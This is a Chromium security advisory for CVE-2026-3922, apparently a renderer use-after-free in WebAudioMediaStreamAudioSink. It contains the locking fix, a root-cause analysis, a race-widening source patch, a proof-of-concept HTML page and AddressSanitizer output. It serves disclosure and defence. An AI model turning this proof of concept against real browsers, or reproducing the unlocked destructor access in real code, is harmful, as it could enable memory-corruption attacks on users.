CVE-2026-3922
Overview
Files Changed
third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
Patch
From 28d8fb8917365453399d372029d404f6c181653b Mon Sep 17 00:00:00 2001
From: Palak Agarwal <agpalak@chromium.org>
Date: Mon, 23 Feb 2026 07:48:27 -0800
Subject: [PATCH] Add lock in the destructor to protect access to audio_converter_
Bug: 485397139
Change-Id: I519ba0673d04cf5e98225ad7adeef9504cb5a4f4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7594792
Commit-Queue: Palak Agarwal <agpalak@chromium.org>
Reviewed-by: Guido Urdaneta <guidou@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1588707}
---
diff --git a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
index cfba5c15..2075886 100644
--- a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
+++ b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
@@ -45,8 +45,13 @@
}
WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
- if (audio_converter_.get())
- audio_converter_->RemoveInput(this);
+ // Use the lock to protect access to audio_converter_.
+ {
+ base::AutoLock auto_lock(lock_);
+ if (audio_converter_.get()) {
+ audio_converter_->RemoveInput(this);
+ }
+ }
// If the track is still active, it is necessary to notify the track before
// the source provider goes away.
Original Bug Report
Use-After-Free in WebAudioMediaStreamAudioSink Destructor via Data Race with OnSetFormat
Summary
The destructor of WebAudioMediaStreamAudioSink accesses the audio_converter_ member without acquiring lock_, despite the member being annotated GUARDED_BY(lock_). Concurrently, the audio capture thread may invoke OnSetFormat, which holds lock_ and replaces audio_converter_ with a new instance via std::make_unique, freeing the old object. This creates a time-of-check-to-time-of-use race: the destructor reads a pointer to the AudioConverter and then calls RemoveInput through it, but between these two operations the capture thread may destroy the pointed-to object. The result is a use-after-free in the renderer process.
Root Cause
WebAudioMediaStreamAudioSink bridges the MediaStream audio capture pipeline and the WebAudio rendering graph. It receives audio data from a MediaStreamAudioTrack on the capture thread and makes it available to MediaStreamAudioSourceNode for WebAudio rendering. The class uses a base::Lock lock_ to protect shared state, and the header file correctly annotates the shared member:
// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.h
std::unique_ptr<media::AudioConverter> audio_converter_ GUARDED_BY(lock_);
The OnSetFormat method, called from the audio capture thread whenever the source audio format changes, properly acquires the lock before replacing the converter:
// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
void WebAudioMediaStreamAudioSink::OnSetFormat(
const media::AudioParameters& params) {
CHECK(params.IsValid());
base::AutoLock auto_lock(lock_);
source_params_ = params;
audio_converter_ = std::make_unique<media::AudioConverter>(
source_params_, sink_params_, false);
audio_converter_->AddInput(this);
audio_converter_->PrimeWithSilence();
// ...
}
The assignment to audio_converter_ through std::make_unique first destroys the old AudioConverter object (freeing its memory) and then stores the pointer to the newly constructed one. This is safe with respect to other code paths that hold the lock, but the destructor does not hold the lock:
// third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
if (audio_converter_.get())
audio_converter_->RemoveInput(this);
if (!track_stopped_) {
WebMediaStreamAudioSink::RemoveFromAudioTrack(
this, WebMediaStreamTrack(component_.Get()));
}
}
The destructor runs on the main thread when the garbage collector sweeps the owning AudioNode. It reads the raw pointer from audio_converter_ via .get() and then calls RemoveInput(this) on that pointer. Between reading the pointer and the subsequent dereference for the virtual call, the capture thread’s OnSetFormat may execute in its entirety: it acquires the lock, replaces audio_converter_ (destroying the old AudioConverter and freeing its memory), creates a new one, and releases the lock. The destructor then proceeds to call RemoveInput on the freed memory, resulting in a use-after-free.
The audio_converter_ is a std::unique_ptr, not a raw_ptr with BackupRefPtr protection. When std::make_unique assigns a new value to the unique pointer, the old object is immediately deleted and its memory returned to the allocator. There is no quarantine or poison mechanism that would prevent the memory from being reused or detected as freed by AddressSanitizer.
The destructor is invoked through the V8 garbage collector’s sweep phase. When JavaScript calls gc() or when garbage collection is triggered naturally, the cppgc sweeper runs on the main thread and destroys unreachable AudioNode objects. The destruction chain is: AudioNode::~AudioNode destroys the MediaStreamAudioSourceHandler, which destroys MediaStreamWebAudioSource, which destroys the WebAudioMediaStreamAudioSink via its unique_ptr member. Throughout this chain, the audio capture thread continues to deliver data and invoke OnSetFormat callbacks independently.
Reproduce
To reproduce this issue, three source-level modifications are applied to increase the probability of hitting the race window. These modifications do not alter program logic or introduce new code paths; they only make the existing race condition more likely to manifest within a practical number of iterations.
Apply the following patch to the Chromium source tree:
diff --git a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
index cfba5c1557b81..64e453f22e6b6 100644
--- a/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
+++ b/third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc
@@ -8,6 +8,7 @@
#include <string>
#include "base/logging.h"
+#include "base/threading/platform_thread.h"
#include "base/numerics/safe_conversions.h"
#include "base/trace_event/trace_event.h"
#include "media/base/audio_bus.h"
@@ -45,8 +46,12 @@ WebAudioMediaStreamAudioSink::WebAudioMediaStreamAudioSink(
}
WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() {
- if (audio_converter_.get())
- audio_converter_->RemoveInput(this);
+ // PATCH: widen race window for ASAN detection
+ media::AudioConverter* raw = audio_converter_.get();
+ if (raw) {
+ base::PlatformThread::Sleep(base::Milliseconds(10));
+ raw->RemoveInput(this);
+ }
// If the track is still active, it is necessary to notify the track before
// the source provider goes away.
diff --git a/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h b/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
index 59a19c79b1d0c..5f7d3be4c19cf 100644
--- a/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
+++ b/third_party/blink/renderer/platform/mediastream/media_stream_audio_deliverer.h
@@ -107,10 +107,9 @@ class MediaStreamAudioDeliverer {
base::AutoLock auto_lock(consumers_lock_);
{
base::AutoLock auto_params_lock(params_lock_);
- if (params_.Equals(params))
- return;
- SendLogMessage(String::Format("%s({params=[%s]})", __func__,
- params.AsHumanReadableString().c_str()));
+ // PATCH: remove Equals early-return to force OnSetFormat on every callback
+ // if (params_.Equals(params))
+ // return;
params_ = params;
}
pending_consumers_.AppendRange(consumers_.begin(), consumers_.end());
diff --git a/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc b/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
index 1f3fe3a5910b5..db0a514edba8b 100644
--- a/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
+++ b/third_party/blink/renderer/platform/mediastream/media_stream_audio_source.cc
@@ -211,6 +211,8 @@ void MediaStreamAudioSource::DeliverDataToTracks(
const media::AudioBus& audio_bus,
base::TimeTicks reference_time,
const media::AudioGlitchInfo& glitch_info) {
+ // PATCH: force OnSetFormat on every capture callback to widen race window
+ deliverer_.OnSetFormat(GetAudioParameters());
deliverer_.OnData(audio_bus, reference_time, glitch_info);
}
The patch contains three changes that collectively widen the race window. The first change, in media_stream_audio_deliverer.h, removes an early-return optimization that skips format propagation when audio parameters are unchanged. This is functionally equivalent to a scenario where the audio source changes format on every callback, such as during WebRTC renegotiation or device switching. The second change, in media_stream_audio_source.cc, calls OnSetFormat before every OnData delivery, ensuring the format propagation reaches the sink on every capture callback. This simulates a real audio source that continuously reports its format. The third change, in webaudio_media_stream_audio_sink.cc, inserts a 10-millisecond sleep in the destructor between reading the audio_converter_ pointer and calling RemoveInput through it, widening the race window from approximately 10 nanoseconds to 10 milliseconds so that the capture thread’s OnSetFormat can free the AudioConverter object in the interval. None of these changes alter the order of operations or introduce new code paths; they only increase the frequency of format callbacks and the duration of the existing unsynchronized access window.
After applying the patch, rebuild with:
ninja -C out/asan-release chrome
Save the following as poc.html:
<!DOCTYPE html>
<html><body><script>
async function main() {
console.log("[*] WebAudioMediaStreamAudioSink destructor race");
const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
console.log("[+] Got media stream");
for (let round = 0; round < 2000; round++) {
if (round % 200 === 0) console.log("[*] Round " + round);
const ctxs = [];
for (let i = 0; i < 30; i++) {
const ctx = new AudioContext();
const src = new MediaStreamAudioSourceNode(ctx, { mediaStream: stream });
src.connect(ctx.destination);
ctxs.push(ctx);
}
await new Promise(r => setTimeout(r, 0));
const promises = ctxs.map(c => c.close());
gc();
await new Promise(r => setTimeout(r, 0));
gc();
await Promise.allSettled(promises);
}
stream.getTracks().forEach(t => t.stop());
console.log("[*] Done");
}
main();
</script></body></html>
Run with:
xvfb-run -a out/asan-release/chrome \
--no-sandbox --disable-gpu \
--use-fake-device-for-media-stream \
--use-fake-ui-for-media-stream \
--js-flags="--expose-gc" \
poc.html
The --use-fake-device-for-media-stream flag provides a synthetic audio capture source so that getUserMedia succeeds without real audio hardware. The --js-flags="--expose-gc" flag exposes the gc() function to JavaScript so the PoC can trigger garbage collection deterministically. AddressSanitizer detects the use-after-free within the first round:
==4115325==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c772bc0b988 at pc 0x7fb794559374 bp 0x7ffccd789350 sp 0x7ffccd789348
READ of size 8 at 0x7c772bc0b988 thread T0 (chrome)
#0 std::__Cr::list<...>::remove(...) gen/third_party/libc++/src/include/list:529:107
#1 media::AudioConverter::RemoveInput(media::AudioConverter::InputCallback*) media/base/audio_converter.cc:97:21
#2 blink::WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc:53:10
#3 blink::WebAudioMediaStreamAudioSink::~WebAudioMediaStreamAudioSink() third_party/blink/renderer/modules/mediastream/webaudio_media_stream_audio_sink.cc:48:63
#4 blink::MediaStreamWebAudioSource::~MediaStreamWebAudioSource() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#5 blink::MediaStreamWebAudioSource::~MediaStreamWebAudioSource() third_party/blink/renderer/platform/mediastream/media_stream_web_audio_source.cc:42:55
#6 blink::MediaStreamAudioSourceHandler::~MediaStreamAudioSourceHandler() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#7 blink::AudioNode::~AudioNode() third_party/blink/renderer/platform/wtf/thread_safe_ref_counted.h:64:5
#8 cppgc::internal::HeapVisitor<...>::Traverse(cppgc::internal::BasePage&) v8/src/heap/cppgc/sweeper.cc:277:13
#9 cppgc::internal::(anonymous namespace)::MutatorThreadSweeper::Sweep(...) v8/src/heap/cppgc/sweeper.cc:653:36
SUMMARY: AddressSanitizer: heap-use-after-free gen/third_party/libc++/src/include/list:529:107
in std::__Cr::list<base::raw_ptr<media::AudioConverter::InputCallback, ...>>::remove(...)
The stack trace shows the garbage collector’s cppgc sweeper destroying an AudioNode, which cascades through MediaStreamAudioSourceHandler and MediaStreamWebAudioSource into the WebAudioMediaStreamAudioSink destructor. At frame #2, the destructor calls RemoveInput on the stale AudioConverter pointer, which was freed by the capture thread’s OnSetFormat during the sleep window. Frame #1 shows AudioConverter::RemoveInput attempting to traverse its internal std::list of input callbacks, reading freed memory at the list node pointer.